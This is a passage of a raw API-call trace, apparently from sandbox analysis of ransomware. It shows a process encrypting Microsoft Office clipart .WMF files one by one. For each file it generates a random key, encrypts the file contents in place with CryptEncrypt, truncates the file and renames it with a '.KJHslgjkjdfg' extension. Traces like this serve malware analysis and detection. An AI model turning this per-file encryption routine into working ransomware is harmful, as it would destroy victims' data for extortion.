CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.463] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.463] GetProcessHeap () returned 0x2ef0000 [0203.463] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.463] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.463] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.463] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.464] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.464] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.464] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.464] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.464] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.464] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.464] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x29dc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x29dc, lpOverlapped=0x0) returned 1 [0203.465] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x29e0, dwBufLen=0x29e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x29e0) returned 1 [0203.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.466] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x29e0, lpOverlapped=0x0) returned 1 [0203.466] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.466] SetEndOfFile (hFile=0x130) returned 1 [0203.469] GetProcessHeap () returned 0x2ef0000 [0203.469] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.469] GetProcessHeap () returned 0x2ef0000 [0203.469] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.kjhslgjkjdfg")) returned 1 [0203.470] CloseHandle (hObject=0x130) returned 1 [0203.470] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3004, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188513.WMF", cAlternateFileName="")) returned 1 [0203.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.471] GetProcessHeap () returned 0x2ef0000 [0203.471] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.471] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.471] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.474] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.474] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.474] GetProcessHeap () returned 0x2ef0000 [0203.474] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.474] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.474] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.474] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.474] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.474] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.475] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.475] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.475] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.475] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.475] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3004, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3004, lpOverlapped=0x0) returned 1 [0203.476] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3010, dwBufLen=0x3010 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3010) returned 1 [0203.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.476] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3010, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3010, lpOverlapped=0x0) returned 1 [0203.476] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.476] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x30e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.477] SetEndOfFile (hFile=0x130) returned 1 [0203.479] GetProcessHeap () returned 0x2ef0000 [0203.479] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.479] GetProcessHeap () returned 0x2ef0000 [0203.479] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188513.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188513.wmf.kjhslgjkjdfg")) returned 1 [0203.481] CloseHandle (hObject=0x130) returned 1 [0203.481] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188519.WMF", cAlternateFileName="")) returned 1 [0203.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.482] GetProcessHeap () returned 0x2ef0000 [0203.482] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.482] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.482] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.482] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.482] GetProcessHeap () returned 0x2ef0000 [0203.482] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.482] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.482] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.482] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.485] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.485] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.485] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.485] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.485] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.485] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.486] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x16c0, lpOverlapped=0x0) returned 1 [0203.487] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x16c0) returned 1 [0203.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.487] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x16c0, lpOverlapped=0x0) returned 1 [0203.487] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.487] SetEndOfFile (hFile=0x130) returned 1 [0203.490] GetProcessHeap () returned 0x2ef0000 [0203.490] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.490] GetProcessHeap () returned 0x2ef0000 [0203.490] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.490] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.kjhslgjkjdfg")) returned 1 [0203.491] CloseHandle (hObject=0x130) returned 1 [0203.491] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b5c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188587.WMF", cAlternateFileName="")) returned 1 [0203.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.492] GetProcessHeap () returned 0x2ef0000 [0203.492] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.493] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.493] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.494] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.495] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.495] GetProcessHeap () returned 0x2ef0000 [0203.495] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.495] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.495] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.495] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.495] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.495] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.495] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.495] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.495] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.496] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.496] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.496] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3b5c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3b5c, lpOverlapped=0x0) returned 1 [0203.497] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b60, dwBufLen=0x3b60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3b60) returned 1 [0203.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.497] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3b60, lpOverlapped=0x0) returned 1 [0203.497] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.497] SetEndOfFile (hFile=0x130) returned 1 [0203.499] GetProcessHeap () returned 0x2ef0000 [0203.499] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.499] GetProcessHeap () returned 0x2ef0000 [0203.499] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.499] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.kjhslgjkjdfg")) returned 1 [0203.501] CloseHandle (hObject=0x130) returned 1 [0203.501] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0188667.WMF", cAlternateFileName="")) returned 1 [0203.501] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.502] GetProcessHeap () returned 0x2ef0000 [0203.502] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.502] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.502] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.503] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.505] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.505] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.505] GetProcessHeap () returned 0x2ef0000 [0203.505] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.505] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.505] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.505] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.505] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.505] WriteFile (in: 